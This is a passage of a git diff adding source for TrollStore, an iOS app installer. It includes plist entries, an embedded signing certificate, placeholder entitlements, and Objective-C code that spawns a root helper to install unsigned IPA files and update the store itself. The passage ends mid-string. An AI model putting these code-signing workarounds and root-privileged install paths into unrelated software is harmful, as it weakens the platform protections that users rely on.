UILaunchImageOrientation + Portrait + UILaunchImageSize + {320, 480} + + + UILaunchImageMinimumOSVersion + 7.0 + UILaunchImageName + LaunchImage-700-568h + UILaunchImageOrientation + Portrait + UILaunchImageSize + {320, 568} + + + UILaunchImageMinimumOSVersion + 7.0 + UILaunchImageName + LaunchImage-Portrait + UILaunchImageOrientation + Portrait + UILaunchImageSize + {768, 1024} + + + UILaunchImageMinimumOSVersion + 7.0 + UILaunchImageName + LaunchImage-Landscape + UILaunchImageOrientation + Landscape + UILaunchImageSize + {768, 1024} + + + UILaunchImageMinimumOSVersion + 8.0 + UILaunchImageName + LaunchImage-800-667h + UILaunchImageOrientation + Portrait + UILaunchImageSize + {375, 667} + + + UILaunchImageMinimumOSVersion + 8.0 + UILaunchImageName + LaunchImage-800-Portrait-736h + UILaunchImageOrientation + Portrait + UILaunchImageSize + {414, 736} + + + UILaunchImageMinimumOSVersion + 8.0 + UILaunchImageName + LaunchImage-800-Landscape-736h + UILaunchImageOrientation + Landscape + UILaunchImageSize + {414, 736} + + + UISupportedInterfaceOrientations + + UIInterfaceOrientationPortrait + UIInterfaceOrientationLandscapeLeft + UIInterfaceOrientationLandscapeRight + + UISupportedInterfaceOrientations~ipad + + UIInterfaceOrientationPortrait + UIInterfaceOrientationPortraitUpsideDown + UIInterfaceOrientationLandscapeLeft + UIInterfaceOrientationLandscapeRight + + UIApplicationSceneManifest + + UIApplicationSupportsMultipleScenes + + UISceneConfigurations + + UIWindowSceneSessionRoleApplication + + + UISceneConfigurationName + Default Configuration + UISceneDelegateClassName + TSSceneDelegate + + + + + UTImportedTypeDeclarations + + + UTTypeConformsTo + + public.data + + UTTypeDescription + iOS App + UTTypeIconFiles + + UTTypeIdentifier + com.apple.itunes.ipa + UTTypeTagSpecification + + public.filename-extension + + ipa + + public.mime-type + + + + + CFBundleDocumentTypes + + + CFBundleTypeName + iOS App + LSHandlerRank + Default + LSItemContentTypes + + com.apple.itunes.ipa + + + + CFBundleTypeName + TrollStore Update + LSHandlerRank + Default + LSItemContentTypes + + public.tar-archive + + + + LSSupportsOpeningDocumentsInPlace + + TSRootBinaries + + trollstorehelper + ldid + + + diff --git a/Store/Resources/LaunchImage-700-568h@2x.png b/Store/Resources/LaunchImage-700-568h@2x.png new file mode 100644 index 0000000..e69de29 diff --git a/Store/Resources/LaunchImage-700-Landscape@2x~ipad.png b/Store/Resources/LaunchImage-700-Landscape@2x~ipad.png new file mode 100644 index 0000000..e69de29 diff --git a/Store/Resources/LaunchImage-700-Landscape~ipad.png b/Store/Resources/LaunchImage-700-Landscape~ipad.png new file mode 100644 index 0000000..e69de29 diff --git a/Store/Resources/LaunchImage-700-Portrait@2x~ipad.png b/Store/Resources/LaunchImage-700-Portrait@2x~ipad.png new file mode 100644 index 0000000..e69de29 diff --git a/Store/Resources/LaunchImage-700-Portrait~ipad.png b/Store/Resources/LaunchImage-700-Portrait~ipad.png new file mode 100644 index 0000000..e69de29 diff --git a/Store/Resources/LaunchImage-800-667h@2x.png b/Store/Resources/LaunchImage-800-667h@2x.png new file mode 100644 index 0000000..e69de29 diff --git a/Store/Resources/LaunchImage-800-Landscape-736h@3x.png b/Store/Resources/LaunchImage-800-Landscape-736h@3x.png new file mode 100644 index 0000000..e69de29 diff --git a/Store/Resources/LaunchImage-800-Portrait-736h@3x.png b/Store/Resources/LaunchImage-800-Portrait-736h@3x.png new file mode 100644 index 0000000..e69de29 diff --git a/Store/Resources/LaunchImage.png b/Store/Resources/LaunchImage.png new file mode 100644 index 0000000..e69de29 diff --git a/Store/Resources/LaunchImage@2x.png b/Store/Resources/LaunchImage@2x.png new file mode 100644 index 0000000..e69de29 diff --git a/Store/Resources/cert.p12 b/Store/Resources/cert.p12 new file mode 100644 index 0000000000000000000000000000000000000000..378b83b15ab4c7fb4e4657a8bd011606819bdcfd GIT binary patch literal 4901 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%0A%eY%p<3f6qO?%x;C$LR^Q>Vb=(pMb&Sswz z7h*2q+NAyt$Qs5R6W-*V5DH0m$F)#uEWC3fET#+w^{vb@dKQ#;p>#Y+0D>Kur}!V7 za~euTDSe7JUtha&Nhq3_5If6O2ftz=XWuJHD&fRzsI zz-zR?<1;%6*Q3Wm^Ju0PY&h2{iNCEw8Gr4y+*yy|CjibVW|t5pB*)w_2{nbZJTnD{ zKO`Wn5nin*S0{po-6t{N%1XzprpblN9 zS=VsWG|TDAtmR!UY#MbnWd#U z<6dBdcId(Q4J{Z9R!iR2K}P=T)S)?7Co_v1Ts%t-n@w_4fna8Q{BjCDb>!v)jn#Y3 zj`JA*Ftdtb#xCWKb&O8@ip=cLBb8%vTlVcod%VE>OK3fJrTGlFPaHz++HeeKW~vQG zgZh{VBLH4dZ8#IDTp)V@Xa_&1?wEUnn)a!Gu27DKG?Be%9z}W@2YGqynPY!`YWc}| zaof29bdeA$^+J)vXV7OC6R%IBc-t^VdGTW#iJMnECGXfRi3p2dOvS3De0;#sB2#>J z35|WD;tMqA3qI<%dzDd9|B8zZ2>tzzMu47+I0QJMPW4krFjmVPsYW!&)7MrTdog8B z)_CxEZcjQ!DiPWG+7JaGo}KC1z9*8-i-Fx}nrx;2{2dR?ZGw!fpevE|0hg2pPaCv9 z3aC7G{k?A8b)~Y9O8IH(;_TR5Jk(InPJ1D>TH9~`;h(N?8?T}H4%U%;kiCc9UFM~{ zGuWz%Mq}|}GFh)9Vs(f7${u!JH*Z6UddiGbvhQc*zJ~zomk*Z{*F0cgX(eo>v?S8M zS&LNQUvtY?03bWcszTp{AJajB+?)JWThX5+ z&5bM6S2@0LmE^d{NJ^oFdCve*IX%0^?Dof?4|($6joIS(o?g+D3H#!25aLZ?hGDDW z-Mrz@C84@%c)6J0yC!&X>d-6Ejsp31<98nmD;n^LNLver zSj%14yP4W99#PmTQD^_sFDdH>KF&6v%$9d_c*7tw*^0y~K{)^5NjS<|X_t|feC1OM zK4qb7$u*+_60YHaD+w6MXQe3Qq^{R^9MpYxr2L*knOK=hZzL5XfSO_iH5O`wPfw-` zWOIja*QY)R=S8CXuwS_ZUor&jCQ<7Zuc>-gQkF$zc6w2_B-7ocqAAgbvDcmsYMO|2 z7NVgFc*zHirKohizti#k2#--V5Ncvfff1%F47*ur#*-IcGh}qWCPk?^4K}8}Hlj}V z=O=+Q$&Xs7j~B6_tIb0g6{#)S_5w;0#gAu~`hTAR`DC?Rv=ztPUuUvpxO!Wf5W#YJ zI5-pODDx9T=Et=TuSnK~+DCJ*a2##mz0`v=c-ckE;@sIH`XQ4HKFsCa3*%9LD}Dfz z59$jKNcvj_=5Q-dQxwBei#}a>C4ufKAmUCQY*De|Swg`R#gF*@(PmxGbTgZ$3|O!; zz)tAR*K+DxxhCDcOg2C5_s`P`P&*c1@E-&<^fh85^g$zFUKif*zMH7F9{Z7593neP zm3P9V+4=8DmL<*ws%c_X)SMDi(g89GpPB@!u1E$^^bto0K+iq7evOP~ANN`m5TWpM zZYSUvuB5)?;#d7nR}H}~+j(gzmC^tjZh=a*{OG=PrTGvDAPqbyPVecEDMS;0vu^t$ zEzbwJz8t*orw01apl2T#ARO=r1mL}~e-ZhRM4hiK%0uut#Dh%#bBuEJ<7wqPwABUU z?+L$eRs2(*DMY+B#V_(aiV3QmVi>2ksv>jbNSuAueF}&IG`(chNu7zJh5k)+_LJb*MaK#qe1)i z!OJVbA9-ubSTC?Sk`nX5<3SK7(k<^>Y2dK|zPp;klIABE+EnW^3AUomc(Q1D1f?Qx3XQ_GER%!p z-GKrZ;{gn{jG%?!V@haqm3p(8YfFpQ8iXpo0iH&SgYk3ni^QeE$a&$<1_!Iq<@y0W zb{5hgEKFT82j{M*yN18QbboZskJ!lGS|&f;XgGXpZy1L`Jkk&!j)%8ZK&mvqj};kM zGP{&N%nNzh_J~@3iVk(^o0Yb)KE-4*L?eT7{j7VZg|5>Lp2{+Jp*z<2SM`q58=AAJmFe3&DDuzgg_YDCF6)_eB z6hj@}%yZdsR_AeX&Bi2dehz9x8Za?1AutIB1uG5%0vZJX1Qgz-;tKW3lo7}&<(9>K XCgQiz + + + + application-identifier + TROLLTROLL.* + com.apple.developer.team-identifier + TROLLTROLL + get-task-allow + + keychain-access-groups + + TROLLTROLL.* + com.apple.token + + + \ No newline at end of file diff --git a/Store/TSAppDelegate.h b/Store/TSAppDelegate.h new file mode 100644 index 0000000..ff41bab --- /dev/null +++ b/Store/TSAppDelegate.h @@ -0,0 +1,5 @@ +#import + +@interface TSAppDelegate : UIResponder + +@end diff --git a/Store/TSAppDelegate.m b/Store/TSAppDelegate.m new file mode 100644 index 0000000..8cec989 --- /dev/null +++ b/Store/TSAppDelegate.m @@ -0,0 +1,23 @@ +#import "TSAppDelegate.h" +#import "TSRootViewController.h" + +@implementation TSAppDelegate + +- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { + return YES; +} + +- (UISceneConfiguration *)application:(UIApplication *)application configurationForConnectingSceneSession:(UISceneSession *)connectingSceneSession options:(UISceneConnectionOptions *)options { + // Called when a new scene session is being created. + // Use this method to select a configuration to create the new scene with. + return [[UISceneConfiguration alloc] initWithName:@"Default Configuration" sessionRole:connectingSceneSession.role]; +} + + +- (void)application:(UIApplication *)application didDiscardSceneSessions:(NSSet *)sceneSessions { + // Called when the user discards a scene session. + // If any sessions were discarded while the application was not running, this will be called shortly after application:didFinishLaunchingWithOptions. + // Use this method to release any resources that were specific to the discarded scenes, as they will not return. +} + +@end diff --git a/Store/TSAppTableViewController.h b/Store/TSAppTableViewController.h new file mode 100644 index 0000000..904bf0f --- /dev/null +++ b/Store/TSAppTableViewController.h @@ -0,0 +1,5 @@ +#import + +@interface TSAppTableViewController : UITableViewController + +@end \ No newline at end of file diff --git a/Store/TSAppTableViewController.m b/Store/TSAppTableViewController.m new file mode 100644 index 0000000..af16879 --- /dev/null +++ b/Store/TSAppTableViewController.m @@ -0,0 +1,59 @@ +#import "TSAppTableViewController.h" + +#import "TSApplicationsManager.h" + +@implementation TSAppTableViewController + +- (void)reloadTable +{ + [self.tableView reloadData]; +} + +- (void)loadView +{ + [super loadView]; + [self.tableView registerClass:UITableViewCell.class forCellReuseIdentifier:@"ApplicationCell"]; + [[NSNotificationCenter defaultCenter] addObserver:self + selector:@selector(reloadTable) + name:@"ApplicationsChanged" + object:nil]; +} + +- (void)viewDidLoad { + [super viewDidLoad]; + + self.tableView.allowsMultipleSelectionDuringEditing = NO; +} + +#pragma mark - Table view data source + +- (NSInteger)numberOfSectionsInTableView:(UITableView *)tableView { + return 1; +} + +- (NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section { + return [[TSApplicationsManager sharedInstance] installedAppPaths].count; +} + +- (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath { + UITableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:@"ApplicationCell" forIndexPath:indexPath]; + + NSString* appPath = [[TSApplicationsManager sharedInstance] installedAppPaths][indexPath.row]; + + // Configure the cell... + cell.textLabel.text = [[TSApplicationsManager sharedInstance] displayNameForAppPath:appPath]; + + return cell; +} + +- (void)tableView:(UITableView *)tableView commitEditingStyle:(UITableViewCellEditingStyle)editingStyle forRowAtIndexPath:(NSIndexPath *)indexPath +{ + if (editingStyle == UITableViewCellEditingStyleDelete) + { + NSString* appPath = [[TSApplicationsManager sharedInstance] installedAppPaths][indexPath.row]; + NSString* appId = [[TSApplicationsManager sharedInstance] appIdForAppPath:appPath]; + [[TSApplicationsManager sharedInstance] uninstallApp:appId error:nil]; + } +} + +@end \ No newline at end of file diff --git a/Store/TSApplicationsManager.h b/Store/TSApplicationsManager.h new file mode 100644 index 0000000..896bbf5 --- /dev/null +++ b/Store/TSApplicationsManager.h @@ -0,0 +1,19 @@ +#import + +#define TROLLSTORE_ROOT_PATH @"/var/containers/Bundle/TrollStore" +#define TROLLSTORE_MAIN_PATH [TROLLSTORE_ROOT_PATH stringByAppendingPathComponent:@"Main"] +#define TROLLSTORE_APPLICATIONS_PATH [TROLLSTORE_ROOT_PATH stringByAppendingPathComponent:@"Applications"] + +@interface TSApplicationsManager : NSObject + ++ (instancetype)sharedInstance; + +- (NSArray*)installedAppPaths; +- (NSDictionary*)infoDictionaryForAppPath:(NSString*)appPath; +- (NSString*)appIdForAppPath:(NSString*)appPath; +- (NSString*)displayNameForAppPath:(NSString*)appPath; + +- (int)installIpa:(NSString*)pathToIpa error:(NSError**)error; +- (int)uninstallApp:(NSString*)appId error:(NSError**)error; + +@end \ No newline at end of file diff --git a/Store/TSApplicationsManager.m b/Store/TSApplicationsManager.m new file mode 100644 index 0000000..c837020 --- /dev/null +++ b/Store/TSApplicationsManager.m @@ -0,0 +1,67 @@ +#import "TSApplicationsManager.h" +#import "TSUtil.h" +#import "../Helper/Shared.h" + +@implementation TSApplicationsManager + ++ (instancetype)sharedInstance +{ + static TSApplicationsManager *sharedInstance = nil; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + sharedInstance = [[TSApplicationsManager alloc] init]; + }); + return sharedInstance; +} + +- (NSArray*)installedAppPaths +{ + return trollStoreInstalledAppBundlePaths(); +} + +- (NSDictionary*)infoDictionaryForAppPath:(NSString*)appPath +{ + NSString* infoPlistPath = [appPath stringByAppendingPathComponent:@"Info.plist"]; + return [NSDictionary dictionaryWithContentsOfFile:infoPlistPath]; +} + +- (NSString*)appIdForAppPath:(NSString*)appPath +{ + return [self infoDictionaryForAppPath:appPath][@"CFBundleIdentifier"]; +} + +- (NSString*)displayNameForAppPath:(NSString*)appPath +{ + NSDictionary* infoDict = [self infoDictionaryForAppPath:appPath]; + + NSString* displayName = infoDict[@"CFBundleDisplayName"]; + if(![displayName isKindOfClass:[NSString class]]) displayName = nil; + if(!displayName || [displayName isEqualToString:@""]) + { + displayName = infoDict[@"CFBundleName"]; + if(![displayName isKindOfClass:[NSString class]]) displayName = nil; + if(!displayName || [displayName isEqualToString:@""]) + { + displayName = infoDict[@"CFBundleExecutable"]; + if(![displayName isKindOfClass:[NSString class]]) displayName = [appPath lastPathComponent]; + } + } + + return displayName; +} + +- (int)installIpa:(NSString*)pathToIpa error:(NSError**)error +{ + int ret = spawnRoot(helperPath(), @[@"install", pathToIpa]) == 0; + [[NSNotificationCenter defaultCenter] postNotificationName:@"ApplicationsChanged" object:nil]; + return ret; +} + +- (int)uninstallApp:(NSString*)appId error:(NSError**)error +{ + int ret = spawnRoot(helperPath(), @[@"uninstall", appId]) == 0; + [[NSNotificationCenter defaultCenter] postNotificationName:@"ApplicationsChanged" object:nil]; + return ret; +} + +@end \ No newline at end of file diff --git a/Store/TSRootViewController.h b/Store/TSRootViewController.h new file mode 100644 index 0000000..e3ec678 --- /dev/null +++ b/Store/TSRootViewController.h @@ -0,0 +1,5 @@ +#import + +@interface TSRootViewController : UITabBarController + +@end diff --git a/Store/TSRootViewController.m b/Store/TSRootViewController.m new file mode 100644 index 0000000..d377865 --- /dev/null +++ b/Store/TSRootViewController.m @@ -0,0 +1,26 @@ +#import "TSRootViewController.h" +#import "TSAppTableViewController.h" +#import "TSSettingsListController.h" + +@implementation TSRootViewController + +- (void)loadView { + [super loadView]; + + TSAppTableViewController* appTableVC = [[TSAppTableViewController alloc] init]; + appTableVC.title = @"Apps"; + + TSSettingsListController* settingsListVC = [[TSSettingsListController alloc] init]; + settingsListVC.title = @"Settings"; + + UINavigationController* appNavigationController = [[UINavigationController alloc] initWithRootViewController:appTableVC]; + UINavigationController* settingsNavigationController = [[UINavigationController alloc] initWithRootViewController:settingsListVC]; + + appNavigationController.tabBarItem.image = [UIImage systemImageNamed:@"square.stack.3d.up.fill"]; + settingsNavigationController.tabBarItem.image = [UIImage systemImageNamed:@"gear"]; + + self.title = @"Root View Controller"; + self.viewControllers = @[appNavigationController, settingsNavigationController]; +} + +@end diff --git a/Store/TSSceneDelegate.h b/Store/TSSceneDelegate.h new file mode 100644 index 0000000..7322aad --- /dev/null +++ b/Store/TSSceneDelegate.h @@ -0,0 +1,6 @@ +#import + +@interface TSSceneDelegate : UIResponder +@property (strong, nonatomic) UIWindow * window; +@property (nonatomic, strong) UITabBarController *rootViewController; +@end diff --git a/Store/TSSceneDelegate.m b/Store/TSSceneDelegate.m new file mode 100644 index 0000000..af7d52c --- /dev/null +++ b/Store/TSSceneDelegate.m @@ -0,0 +1,109 @@ +#import "TSSceneDelegate.h" +#import "TSRootViewController.h" +#import "TSUtil.h" +#import "TSApplicationsManager.h" + +@implementation TSSceneDelegate + +- (void)handleURLContexts:(NSSet *)URLContexts +{ + for(UIOpenURLContext* context in URLContexts) + { + NSLog(@"openURLContexts %@", context.URL); + NSURL* url = context.URL; + if (url != nil && [url isFileURL]) { + BOOL shouldExit = NO; + + [url startAccessingSecurityScopedResource]; + NSURL* tmpCopyURL = [NSURL fileURLWithPath:[NSTemporaryDirectory() stringByAppendingPathComponent:url.lastPathComponent]]; + + [[NSFileManager defaultManager] copyItemAtURL:url toURL:tmpCopyURL error:nil]; + + if ([url.pathExtension isEqualToString:@"ipa"]) { + // Install IPA + NSError* error; + int ret = [[TSApplicationsManager sharedInstance] installIpa:tmpCopyURL.path error:&error]; + NSLog(@"installed app! ret:%d, error: %@", ret, error); + + } + else if([url.pathExtension isEqualToString:@"tar"]) + { + // Update TrollStore itself + NSLog(@"Updating TrollStore..."); + int ret = spawnRoot(helperPath(), @[@"install-trollstore", tmpCopyURL.path]); + if(ret == 0) shouldExit = YES; + NSLog(@"Updated TrollStore!"); + } + + [[NSFileManager defaultManager] removeItemAtURL:tmpCopyURL error:nil]; + [url stopAccessingSecurityScopedResource]; + + if(shouldExit) + { + NSLog(@"Respring + Exit"); + respring(); + exit(0); + } + } + } +} + + +- (void)scene:(UIScene *)scene willConnectToSession:(UISceneSession *)session options:(UISceneConnectionOptions *)connectionOptions { + // Use this method to optionally configure and attach the UIWindow `window` to the provided UIWindowScene `scene`. + // If using a storyboard, the `window` property will automatically be initialized and attached to the scene. + // This delegate does not imply the connecting scene or session are new (see `application:configurationForConnectingSceneSession` instead). + + NSLog(@"scene:%@ willConnectToSession:%@ options:%@", scene, session, connectionOptions); + if(connectionOptions.URLContexts.count) + { + [self handleURLContexts:connectionOptions.URLContexts]; + } + + UIWindowScene* windowScene = (UIWindowScene*)scene; + _window = [[UIWindow alloc] initWithWindowScene:windowScene]; + _rootViewController = [[TSRootViewController alloc] init]; + _window.rootViewController = _rootViewController; + [_window makeKeyAndVisible]; +} + + +- (void)sceneDidDisconnect:(UIScene *)scene { + // Called as the scene is being released by the system. + // This occurs shortly after the scene enters the background, or when its session is discarded. + // Release any resources associated with this scene that can be re-created the next time the scene connects. + // The scene may re-connect later, as its session was not necessarily discarded (see `application:didDiscardSceneSessions` instead). +} + + +- (void)sceneDidBecomeActive:(UIScene *)scene { + // Called when the scene has moved from an inactive state to an active state. + // Use this method to restart any tasks that were paused (or not yet started) when the scene was inactive. +} + + +- (void)sceneWillResignActive:(UIScene *)scene { + // Called when the scene will move from an active state to an inactive state. + // This may occur due to temporary interruptions (ex. an incoming phone call). +} + + +- (void)sceneWillEnterForeground:(UIScene *)scene { + // Called as the scene transitions from the background to the foreground. + // Use this method to undo the changes made on entering the background. +} + + +- (void)sceneDidEnterBackground:(UIScene *)scene { + // Called as the scene transitions from the foreground to the background. + // Use this method to save data, release shared resources, and store enough scene-specific state information + // to restore the scene back to its current state. +} + +- (void)scene:(UIScene *)scene openURLContexts:(NSSet *)URLContexts +{ + NSLog(@"scene:%@ openURLContexts:%@", scene, URLContexts); + [self handleURLContexts:URLContexts]; +} + +@end \ No newline at end of file diff --git a/Store/TSSettingsListController.h b/Store/TSSettingsListController.h new file mode 100644 index 0000000..39fdd47 --- /dev/null +++ b/Store/TSSettingsListController.h @@ -0,0 +1,9 @@ +#import +#import + +@interface TSSettingsListController : PSListController +{ + UIAlertController* _activityController; + PSSpecifier* _installPersistenceHelperSpecifier; +} +@end \ No newline at end of file diff --git a/Store/TSSettingsListController.m b/Store/TSSettingsListController.m new file mode 100644 index 0000000..192dd4d --- /dev/null +++ b/Store/TSSettingsListController.m @@ -0,0 +1,336 @@ +#import "TSSettingsListController.h" +#import "TSUtil.h" +#import +#import "../Helper/CoreServices.h" +#import "../Helper/Shared.h" + +@implementation TSSettingsListController + +- (void)loadView +{ + [super loadView]; + [[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(reloadSpecifiers) name:UIApplicationWillEnterForegroundNotification object:nil]; +} + +- (void)startActivity:(NSString*)activity +{ + if(_activityController) return; + + _activityController = [UIAlertController alertControllerWithTitle:activity message:@"" preferredStyle:UIAlertControllerStyleAlert]; + UIActivityIndicatorView* activityIndicator = [[UIActivityIndicatorView alloc] initWithFrame:CGRectMake(5,5,50,50)]; + activityIndicator.hidesWhenStopped = YES; + activityIndicator.activityIndicatorViewStyle = UIActivityIndicatorViewStyleMedium; + [activityIndicator startAnimating]; + [_activityController.view addSubview:activityIndicator]; + + [self presentViewController:_activityController animated:YES completion:nil]; +} + +- (void)stopActivityWithCompletion:(void (^)(void))completion +{ + if(!_activityController) return; + + [_activityController dismissViewControllerAnimated:YES completion:^ + { + _activityController = nil; + if(completion) + { + completion(); + } + }]; +} + +- (NSMutableArray*)specifiers +{ + if(!_specifiers) + { + _specifiers = [NSMutableArray new]; + + PSSpecifier* utilitiesGroupSpecifier = [PSSpecifier emptyGroupSpecifier]; + utilitiesGroupSpecifier.name = @"Utilities"; + [utilitiesGroupSpecifier setProperty:@"If an app does not immediately appear after installation, respring here and it should appear afterwards." forKey:@"footerText"]; + [_specifiers addObject:utilitiesGroupSpecifier]; + + PSSpecifier* respringButtonSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Respring" + target:self + set:nil + get:nil + detail:nil + cell:PSButtonCell + edit:nil]; + respringButtonSpecifier.identifier = @"respring"; + [respringButtonSpecifier setProperty:@YES forKey:@"enabled"]; + respringButtonSpecifier.buttonAction = @selector(respringButtonPressed); + + [_specifiers addObject:respringButtonSpecifier]; + + PSSpecifier* rebuildIconCacheSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Rebuild Icon Cache" + target:self + set:nil + get:nil + detail:nil + cell:PSButtonCell + edit:nil]; + rebuildIconCacheSpecifier.identifier = @"uicache"; + [rebuildIconCacheSpecifier setProperty:@YES forKey:@"enabled"]; + rebuildIconCacheSpecifier.buttonAction = @selector(rebuildIconCachePressed); + + [_specifiers addObject:rebuildIconCacheSpecifier]; + + NSString* ldidPath = [NSBundle.mainBundle.bundlePath stringByAppendingPathComponent:@"ldid"]; + BOOL ldidInstalled = [[NSFileManager defaultManager] fileExistsAtPath:ldidPath]; + + PSSpecifier* signingGroupSpecifier = [PSSpecifier emptyGroupSpecifier]; + signingGroupSpecifier.name = @"Signing"; + + if(ldidInstalled) + { + [signingGroupSpecifier setProperty:@"ldid is installed and allows TrollStore to install unsigned IPA files." forKey:@"footerText"]; + } + else + { + [signingGroupSpecifier setProperty:@"In order for TrollStore to be able to install unsigned IPAs, ldid has to be installed using this button. It can't be directly included in TrollStore because of licensing issues." forKey:@"footerText"]; + } + + [_specifiers addObject:signingGroupSpecifier]; + + if(ldidInstalled) + { + PSSpecifier* ldidInstalledSpecifier = [PSSpecifier preferenceSpecifierNamed:@"ldid: Installed" + target:self + set:nil + get:nil + detail:nil + cell:PSStaticTextCell + edit:nil]; + ldidInstalledSpecifier.identifier = @"ldidInstalled"; + [_specifiers addObject:ldidInstalledSpecifier]; + } + else + { + PSSpecifier* installLdidSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Install ldid" + target:self + set:nil + get:nil + detail:nil + cell:PSButtonCell + edit:nil]; + installLdidSpecifier.identifier = @"ldidInstalled"; + [installLdidSpecifier setProperty:@YES forKey:@"enabled"]; + installLdidSpecifier.buttonAction = @selector(installLdidPressed); + [_specifiers addObject:installLdidSpecifier]; + } + + PSSpecifier* persistenceGroupSpecifier = [PSSpecifier emptyGroupSpecifier]; + persistenceGroupSpecifier.name = @"Persistence"; + [_specifiers addObject:persistenceGroupSpecifier]; + + if([[NSFileManager defaultManager] fileExistsAtPath:@"/Applications/TrollStorePersistenceHelper.app"]) + { + [persistenceGroupSpecifier setProperty:@"When iOS rebuilds the icon cache, all TrollStore apps including TrollStore itself will be reverted to \"User\" state and either disappear or no longer launch. If that happens, you can use the TrollHelper app on the home screen to refresh the app 